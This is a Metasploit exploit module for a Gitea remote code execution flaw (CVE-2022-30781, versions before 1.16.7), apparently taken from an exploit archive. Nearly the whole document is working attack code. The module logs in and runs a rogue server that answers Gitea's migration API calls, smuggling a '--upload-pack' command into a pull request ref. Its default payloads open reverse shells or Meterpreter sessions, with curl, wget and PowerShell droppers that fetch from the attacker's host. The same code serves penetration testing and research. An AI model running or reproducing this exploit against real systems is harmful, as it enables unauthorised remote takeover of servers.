Gitea Git Fetch Remote Code Execution

This Metasploit module exploits the Git fetch command in the Gitea repository migration process to allow for remote command execution on the system. This vulnerability affect Gitea versions prior to 1.16.7.


SHA-256 | dba6b158933e4ec6089f6364c6b953e84d8ade82305acdf446dc098ee940e1dd

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HTTP::Gitea
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gitea Git Fetch Remote Code Execution',
'Description' => %q{
This module exploits Git fetch command in Gitea repository migration
process that leads to a remote command execution on the system.
This vulnerability affect Gitea before 1.16.7 version.
},
'Author' => [
'wuhan005', # Original PoC
'li4n0', # Original PoC
'krastanoel' # MSF Module
],
'References' => [
['CVE', '2022-30781'],
['URL', 'https://tttang.com/archive/1607/']
],
'DisclosureDate' => '2022-05-16',
'License' => MSF_LICENSE,
'Platform' => %w[unix linux win],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => %i[curl wget echo printf],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'CmdStagerFlavor' => [ 'psh_invokewebrequest' ],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'CMDSTAGER::URIPATH' => '/payloads'
}
}
]
],
'DefaultOptions' => { 'WfsDelay' => 30 },
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)

register_options([
Opt::RPORT(3000),
OptString.new('USERNAME', [true, 'Username to authenticate with']),
OptString.new('PASSWORD', [true, 'Password to use']),
OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),
])
end

def cleanup
super
return if @uid.nil? || @migrate_repo_created.nil?

[@repo_name, @migrate_repo_name].each do |name|
res = gitea_remove_repo(repo_path(name))
if res.nil? || res&.code == 200
vprint_warning("Unable to remove repository '#{name}'")
elsif res&.code == 404
vprint_warning("Repository '#{name}' not found, possibly already deleted")
else
vprint_status("Successfully cleanup repository '#{name}'")
end
end
end

def check
return CheckCode::Safe('USERNAME can\'t be blank') if datastore['username'].blank?

v = get_gitea_version
gitea_login(datastore['username'], datastore['password'])

if Rex::Version.new(v) <= Rex::Version.new('1.16.6')
return CheckCode::Appears("Version detected: #{v}")
end

CheckCode::Safe("Version detected: #{v}")
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError => e
return CheckCode::Unknown(e.message)
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::VersionError => e
return CheckCode::Detected(e.message)
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError,
Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e
return CheckCode::Safe(e.message)
end

def primer
[
'/api/v1/version', '/api/v1/settings/api',
"/api/v1/repos/#{@migrate_repo_path}",
"/api/v1/repos/#{@migrate_repo_path}/pulls",
"/api/v1/repos/#{@migrate_repo_path}/topics"
].each { |uri| hardcoded_uripath(uri) } # adding resources
end

def execute_command(cmd, _opts = {})
if target['Type'] == :win_dropper
# Git on Windows will pass the command to `sh.exe` and not `cmd`.
# This requires some adjustments:
# - Windows environment variables are mapped by `sh.exe`: `%VAR%` becomes `$VAR`
# - `cmd` uses `&` to join multiple commands, whereas `sh.exe` uses `&&`.
# - Backslashes need to be escaped with `sh.exe`
cmd = cmd.gsub(/%(\w+)%/) { "$#{::Regexp.last_match(1)}" }.gsub(/&/) { '&&' }.gsub(/\\/) { '\\\\\\' }
end
vprint_status("Executing command: #{cmd}")

@repo_name = rand_text_alphanumeric(6..15)
@migrate_repo_name = rand_text_alphanumeric(6..15)
@migrate_repo_path = repo_path(@migrate_repo_name)

vprint_status("Creating repository \"#{@repo_name}\"")
@uid = gitea_create_repo(@repo_name)
vprint_good('Repository created')
vprint_status('Migrating repository')
clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}"
auth_token = rand_text_alphanumeric(6..15)
@migrate_repo_created = gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token)
@p = cmd
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError,
Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError,
Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e
fail_with(Failure::UnexpectedReply, e.message)
end

def exploit
unless datastore['AutoCheck']
fail_with(Failure::BadConfig, 'USERNAME can\'t be blank') if datastore['username'].blank?
gitea_login(datastore['username'], datastore['password'])
end

start_service
primer

case target['Type']
when :unix_cmd, :win_cmd
execute_command(payload.encoded)
when :linux_dropper, :win_dropper
datastore['CMDSTAGER::URIPATH'] = "/#{rand_text_alphanumeric(6..15)}"
execute_cmdstager(background: true, delay: 1)
end
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e
fail_with(Failure::UnexpectedReply, e.message)
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e
fail_with(Failure::NoAccess, e.message)
end

def repo_path(name)
"#{datastore['username']}/#{name}"
end

def on_request_uri(cli, req)
case req.uri
when '/api/v1/version'
send_response(cli, '{"version": "1.16.6"}')
when '/api/v1/settings/api'
data = {
max_response_items: 50, default_paging_num: 30,
default_git_trees_per_page: 1000, default_max_blob_size: 10485760
}
send_response(cli, data.to_json)
when "/api/v1/repos/#{@migrate_repo_path}"
data = {
clone_url: "#{full_uri}#{datastore['username']}/#{@repo_name}",
owner: { login: datastore['username'] }
}
send_response(cli, data.to_json)
when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"
send_response(cli, '{"topics":[]}')
when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
data = [
{
base: {
ref: 'master'
},
head: {
ref: "--upload-pack=#{@p}",
repo: {
clone_url: './',
owner: { login: 'master' }
}
},
updated_at: '2001-01-01T05:00:00+01:00',
user: {}
}
]
send_response(cli, data.to_json)
when datastore['CMDSTAGER::URIPATH']
super
end
end
end

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